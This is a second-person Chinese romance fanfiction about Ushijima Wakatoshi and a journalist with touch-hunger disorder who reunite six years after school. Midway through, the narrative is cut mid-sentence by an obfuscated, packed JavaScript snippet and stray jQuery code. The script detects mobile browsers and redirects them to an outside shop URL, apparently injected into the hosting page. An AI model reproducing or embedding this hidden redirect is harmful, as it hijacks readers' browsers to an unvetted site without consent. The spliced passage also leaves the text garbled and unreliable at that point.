周五下午三点，你站在球队的训练基地外。
手里的采访提纲已经被你捏得微微发皱，深呼吸后，你推开玻璃门。
前台工作人员核对了预约，领你走向会议室，走廊墙上挂着球队历届照片，其中一张是牛岛扣球的特写——手臂肌肉绷紧，眼神锐利如刀。
“牛岛选手已经在等了。”工作人员推开会议室的门。
你走进去。
他坐在会议桌对面，穿着简单的灰色运动服，正在看手机，听见声音，他抬起头。
时间静止了六年，然后在此刻骤然重启。
牛岛若利的变化比照片上更直观，肩膀宽了，手臂的肌肉线条在运动服下清晰可见，下颌线比少年时期更加硬朗，但那双深褐色的眼睛依然是你记忆里的样子，平静，专注，像深潭。
他在看见你的瞬间，瞳孔微微一缩。
“你好，牛岛选手。”你先开口，“我是杂志的记者，负责今天的专访。”
你递上名片，他接过，目光从名片移到你的脸，停留了三秒。
“请坐。”他说。
采访开始了，你打开录音笔，摊开笔记本，抛出准备好的问题——关于海外赛季的收获、新赛季的目标、伤病的恢复情况。
他回答得简洁但完整，每个问题都会思考两秒再开口，这是他一贯的风格，但他的注意力不完全在问题上，你看得出来。
他的目光始终落在你身上。
不是审视，不是好奇，而是一种……确认，确认眼前这个人是不是真实的，这六年是不是一场梦。
“下一个问题，”你低头看提纲，“关于您之前提到的‘想找到一个人’，可以具体说说吗？”
会议室安静下来，你感觉到他的目光变得更重了。
“那个人，”他开口，“找到了。”
你的笔尖在纸上划出一道斜线。
“是吗？”你尽量让声音听起来只是职业性的好奇，“那真是太好了。”
“不好。”他说。
你抬起头。
他直视着你，“因为找到后，发现她不想被找到。”
你避开他的视线：“那我们进入下一个问题——”
“你消失了。”他打断你。
“牛岛选手，”你合上笔记本，“今天的采访到此为止吧，感谢您的配合。”
你开始收拾东西，动作很快，录音笔、笔记本、钢笔——你把它们一股脑塞进包里。
就在这时，他的手指覆上了你的手背，温热的，干燥的，带着薄茧的触感。
你像被烫到一样猛地抽回手，笔从手中滑落，滚到桌子另一边，他弯腰捡起，递还给你，这次他没有立刻松开。
他握着笔的另一端，“为什么？”
“什么为什么？”抢不过他，你干脆抽回手装傻。
“六年。”他说，“没有消息。”
“我换了联系方式。”
“我知道。”他盯着你，“我找过。”
你拎起包，绕过会议桌走向门口，他的动作更快，起身，高大的身躯挡在门前。
“让一下。”你说。
“回答我。”
“我们没什么好说的，牛岛选手。”
“我有。”他坚持，“很多话。”
你们僵持着，他低头看你，你仰头看他，你能闻到他身上干净的气息——还是那种无花果香，混合着极淡的汗水和运动后的热气。
你的皮肤开始发痒，六年来压抑的、被药物和意志力强行镇压的渴望，像休眠火山般蠢蠢欲动。
“让开。”你的声音在发抖。
“你在抖。”他注意到，“和以前一样。”
你推开他，冲出会议室，几乎是跑着离开训练基地，直到钻进车，你才敢大口呼吸。
后视镜里，你看见他追了出来，站在基地门口，看着你离开的方向，久久没有动。
***
当晚有庆功宴，球队新赞助商的欢迎酒会，你的主编让你务必参加，多积累人脉。
你换了条黑色的连衣裙，化了精致的妆。
宴会厅灯火辉煌，各界名流、媒体记者、球队成员混杂在一起，你端着香槟杯，躲在角落，尽量减少存在感。
但还是被找到了。
“哟，这不是今天的记者小姐吗？”宫侑端着酒杯晃过来，金色头发在灯光下很显眼，“今天跑得真快啊。”
你采访过宫侑一次，但并不熟，不明白他有什么企图，于是挤出职业微笑：“宫侑选手，晚上好。”
“牛岛在找你哦。”他凑近，压低声音，“整个晚上心不在焉的，一直往门口看。”
你的心跳漏了一拍。
“你们以前是同学吧？”宫侑笑眯眯的，“白鸟泽，同桌？”
“……嗯。”
“那他说的‘想找的人’，就是你咯？”
你没回答，仰头喝光了杯里的香槟，酒精灼烧着喉咙，给人虚假的勇气。
“我去下洗手间。”你转身离开。
走廊里人少些，但你依然神经紧绷，一个喝醉的赞助商代表摇摇晃晃走过来，伸手拍你的肩膀：“记者小姐，聊两句——”
你的身体先于大脑做出反应，猛地后退，背撞到墙上，“别碰我。”
对方愣住了，随即露出不悦的表情：“什么态度……”
就在这时，一只手臂横在你面前。
牛岛若利不知道什么时候出现的，他挡在你和那个男人之间，声音平静但带着某种压力：“她说了，别碰她。”
对方认出是他，悻悻地走了，走廊里只剩下你们两人。
你靠着墙，呼吸急促，手指紧紧抓着裙摆，刚才被触碰的恐惧还未消散，皮肤下的恶心感像潮水般翻涌。
“没事了。”他说，转身面对你。
但你还在微微抖，控制不住，像深秋枝头最后一片叶子。
他看着你，深褐色的眼睛里有什么东西在翻涌，然后伸出手，握住了你的手腕。
坚定而有力的握住，就像六年前在体育馆，他带你穿过人群时那样。
“像以前一样，”他的拇指在你手腕内侧轻轻摩挲，“我在这里。”
皮肤下的潮水退去，恶心感消散，取而代之的是……安宁，久违的、像流浪者找到归处的安宁。
你的眼泪毫无预兆地掉下来。
伤心？委屈？都不是，六年了，整整六年，你像在沙漠中跋涉，渴得喉咙冒烟，却拒绝所有水源，因为你知道那些水不能解你的渴。
而现在，终于有人递来了你能喝的那一杯。
你哭得无声无息，只有眼泪不断滚落，他没有说话，只是握着你手腕的手微微收紧，另一只手抬起，用指腹擦去你的泪水。
“别哭。”他说，声音有些哑，“我在这里。”
你哭得更凶了。
后来的事，记忆是碎片化的。
你们离开了宴会，他拉着你的手腕，带你走向电梯，你记得电梯上升时失重的感觉，你靠在他肩上时闻到的气息，走廊柔软的地毯，还有房门关上的轻微咔哒声。
房间里没开灯，只有窗外东京的霓虹照进来。
他把你抵在墙上，低头吻你。
一点都不温柔，带着六年的寻找、困惑、空缺，你尝到酒精的味道，还有属于他自己的气息。
你没有推开。
皮肤饥渴症让你诚实，你的身体需要这个，需要他的触碰，需要他的温度。
***
第二天早晨，你在阳光中醒来。
身体酸痛，脑袋昏沉，酒精的后遗症和放纵的后果一起袭来，你睁开眼，看见陌生的天花板，愣了三秒才反应过来。
身旁传来平稳的呼吸声，你转过头，牛岛若利还在睡，他侧躺着，面朝你，一只手臂横在你腰间。
你轻轻挪开他的手，坐起身，找到散落在地上的衣服，一件件穿上，对着浴室的镜子整理头发，看见自己红肿的嘴唇和脖子上明显的印记。
镜子里的人看起来很陌生——眼睛里有水光，嘴角有不自觉上扬的弧度，整个人像被雨水浇透后重新绽放的花。
皮肤饥渴症被短暂满足后的假象，毒瘾发作时得到的那一剂药，明知有毒，却甘之如饴。
你走出浴室时，他已经醒了。
他坐在床上，被子搭在腰间，露出结实的上半身，看见你穿戴整齐，他愣了一下。
“要走了？”他问。
“嗯。”你点头，“采访稿下周交，有问题我会再联系您。”
你用“您”，用职业口吻，像在划清界限。
他皱起眉：“我们——”
“昨晚是个意外。”你打断他，“我们都喝了酒，而且……”
你停顿了一下，选择诚实：“而且我需要你的触碰，我的病……还是老样子。”
他盯着你，深褐色的眼睛里有什么东西沉下去。
“所以，”他缓缓说，“昨晚只是因为你需要触碰。”
“是。”
“不是因为想见我。”
“……是。”
这是谎言，但你必须说谎，你太清楚依赖他的后果——六年前的心碎还历历在目，你不能再经历一次。
他沉默了，很久很久，很久很久。
然后，他开口：“那我们做p友吧。”
你愣住了，没想过这个词会从他嘴里说出来，毕竟他可是牛岛若利。
“你不是需要触碰吗？”
他下床，朝你走来，没穿衣服，身体像雕塑一样，每一寸肌肉都充满力量感，“我可以给你。”
他在你面前停下，低头看你：“但有一个条件。”
“……什么？”
“只能是我。”他说，“你不能找别人。”
你的心跳乱了节奏。
“为什么？”你听见自己问，“你不需要……”
“我需要。”他打断你，“我也需要触碰你。”
他的手指轻轻抚过你的脸颊，“六年。”
“我这里，”他按着自己的左胸，“一直空着，只有你能填满。”
“……好。”良久，你听见自己说，“但只是身体，我不需要感情。”
他点头：“好。”
你看着他深褐色的眼睛，你知道——他不会遵守这个约定。
就像你不会承认，你之所以答应，也不仅仅是因为需要触碰。
***
每周三、周六晚上，你会去他的公寓，他总是先洗完澡，穿着干净的家居服等你，站在玄关，等你换好鞋，然后张开手臂。
起初你僵硬，他会耐心等待，直到你慢慢靠过去。
他的拥抱很稳，手臂环住你的肩膀，下巴轻轻搁在你发顶，时间通常很长，长到你能数清他的心跳，闻到他身上沐浴露的淡淡清香，感受到皮肤下那种躁动渐渐平息。
“好点了吗？”他会在你呼吸平稳后问。
“嗯。”
“那可以继续了。”
继续，意味着更多。
卧室的灯总是调得很暗，他会先吻你额头，然后是脸颊，最后是嘴唇，会一直握着你的手，十指紧扣。
结束后清洗完，他会抱着你，手掌有一下没一下地轻拍你的后背，像哄孩子入睡。
“睡吧。”他在你耳边低语，“我在这里。”
你总是在这样的安抚中沉沉睡去，六年来的第一次，没有噩梦。
***
但他开始“越界”。
非约定日的周二，东京下暴雨，你正在公司赶稿，手机震动：
“雨很大，你需要我过去吗？”
你回复：“不用，我自己回去。”
三十分钟后，他又发：“在你公司楼下。”
你下楼，看见他的车停在雨幕中，他撑伞走过来，把伞倾向你：“走吧。”
车上，他递过热饮：“姜茶，驱寒。”
你接过，“今天不是周三。”
“我知道。”他目视前方开车，“但今天下雨天，我不放心。”
第二次，是你随口提了句“想吃以前学校附近那家店的牛奶布丁”，两天后，他发来信息：
“布丁买到了，现在送来？”
“你怎么……”
“托人买的。”
“为什么做这些？”你问。
“因为你想要。”他答得简单。
你开始发现更多细节。
他家书房的书架上，除了排球专业书，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795375|210507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多了心理学著作，《依恋理论》《触觉与情感》《安全感建立指南》……每本都有翻阅痕迹。
冰箱里永远有你喜欢的食物，浴室里，你的牙刷、毛巾、拖鞋早已备好。
某次你提前去他公寓，他还没回来，你坐在沙发上等他，无聊时打开电视，发现观看记录里全是纪录片——《如何表达情感》《非暴力沟通》。
你坐在黑暗的客厅里，电视屏幕的光在你脸上明明灭灭。
他回来时，看见你的表情，脚步顿了顿。
“牛岛，你到底在做什么？”
“学习。”他放下运动包，“学习如何不让你难过。”
***
事后，你去洗澡，手机忘在床头，出来时，看见他正盯着手机屏幕，屏幕上，是你们高中时的合照。
你冲过去抢回手机：“谁允许你看的。”
他抬起眼看你，表情平静：“你自己放在相册里的。”
“那也不是给你看的。”你声音发抖，“我们说好的只是身体关系，不要窥探我的过去。”
他沉默了几秒说：“我没在窥探。”
“那你在干什么？”
“我在学习。”他重复这句话，“学习那时候的我，做错了什么。”
你愣住了。
他拿过自己的手机，解锁，打开加密相册，递给你。
里面全是你们的照片——准确说，很多都是你。
教室你睡着的侧脸，体育馆外你等他的背影……甚至有一张，是你毕业典礼那天离开时的背影，小小的人影消失在樱花道尽头。
“你……你一直留着？”
“嗯。”他拿回手机，“六年。”
“为什么？”
“因为需要，需要记住，需要学习，需要改进。”
他握住你的手腕，把你拉近，额头抵着额头，呼吸交缠。
“六年前那句话，我后来明白了。”
“想见面的情绪，”他继续说，“我现在每天都有，想到睡不着。”
他把你抱进怀里，手臂收得很紧，在你耳边说：
“对不起，那时候不懂，现在懂了，太迟了吗？”
“牛岛，”你轻声说，“我好像……好不了了。”
“我知道。”他把你抱得更紧。
“一辈子都可能这样。”
“嗯。”
“你会累的。”
“不会。”
他稍微松开你，“我查了很久，皮肤饥渴症，需要安全稳定的触觉关系。”
他握住你的手，放在自己胸口，那里心跳沉稳有力。
“我可以当那个安全吗？”他问，“一辈子。”
你摇头：“你只是同情……”
“不是同情。”他打断你，额头抵住你的，“是上瘾。”
他拉起你的另一只手，按在自己右肩——那个你曾经枕过无数次的位置。
“你不在的六年，这里总空着，训练时，比赛时，睡觉时……总觉得缺了重量。”
他的声音哽咽了一下。
“后来我才明白，不是肩膀缺了重量。”
“是心缺了一块。”
你看着他，眼神里毫不掩饰的脆弱和渴望，好熟悉又好陌生，你伸手，轻轻抚摸他的脸颊，他闭上眼睛。
“若利，”你第一次叫他的名字，“我可能……比你想象的更麻烦。”
“我知道。”
“我可能会无缘无故发脾气，可能会突然需要拥抱，可能会一辈子都治不好……”
“嗯。”他睁开眼睛，“所以，请留在我身边，让我照顾你。”
“那如果你后悔了呢？”
“不会。”
“万一呢？”
“没有万一，我只要你在我身边。”
***
正式确定关系的那天，是个普通的周六。
你们在他家看电影——一部很老的爱情片，看到一半，你靠在他肩上睡着了。
醒来时，电影已经结束，屏幕上是滚动字幕，他还保持着原来的姿势，手臂环着你，另一只手在轻轻拍你的背。
“醒了？”他低头看你。
“嗯。”你揉揉眼睛，“电影呢？”
“看完了。”
“结局怎样？”
“在一起了。”他说，“像我们一样。”
你抬头看他：“我们什么时候‘在一起’了？”
“现在。”他说得理所当然，“如果你同意的话。”
你笑了：“这么随便？”
“不随便。”他认真摇头，“我准备了一周。”
“准备什么？”
“准备答案。”他拿起茶几上的笔记本，翻开，“你可能会问的问题，我都写了答案。”
你凑过去看，上面果然列着：
问：为什么喜欢我？
答：因为你是你。
问：能接受我的病吗？
答：能，它是我了解你的途径。
问：万一我永远好不了呢？
答：那就永远。
……
最后一题：
问：你想要什么？
答：想要你在我身边。每天早上，中午，晚上；晴天，雨天，雪天；赢球时，输球时；一辈子。
你合上笔记本，“若利，我可能……永远都会需要很多很多触碰。”
“我知道。”
“可能会让你困扰。”
“不会。”
“真的？”
“真的。”他握住你的手，“因为我也需要。”
他拉起你的手，放在自己胸口。
“这里，也需要你的触碰，才能跳得正常。”
你笑了，眼泪掉下来。
他擦掉你的眼泪，然后认真地问：“所以，答案呢？”
你凑过去，吻住他。
这是一个漫长的温柔的吻，没有情欲，只有承诺。
吻后，你在他耳边轻声说：
“答案是，好。”
他紧紧抱住你，手臂微微发抖。
“谢谢。”他说。
“谢什么？”
“谢谢回来。”他把脸埋在你肩窝，“谢谢再给我机会。”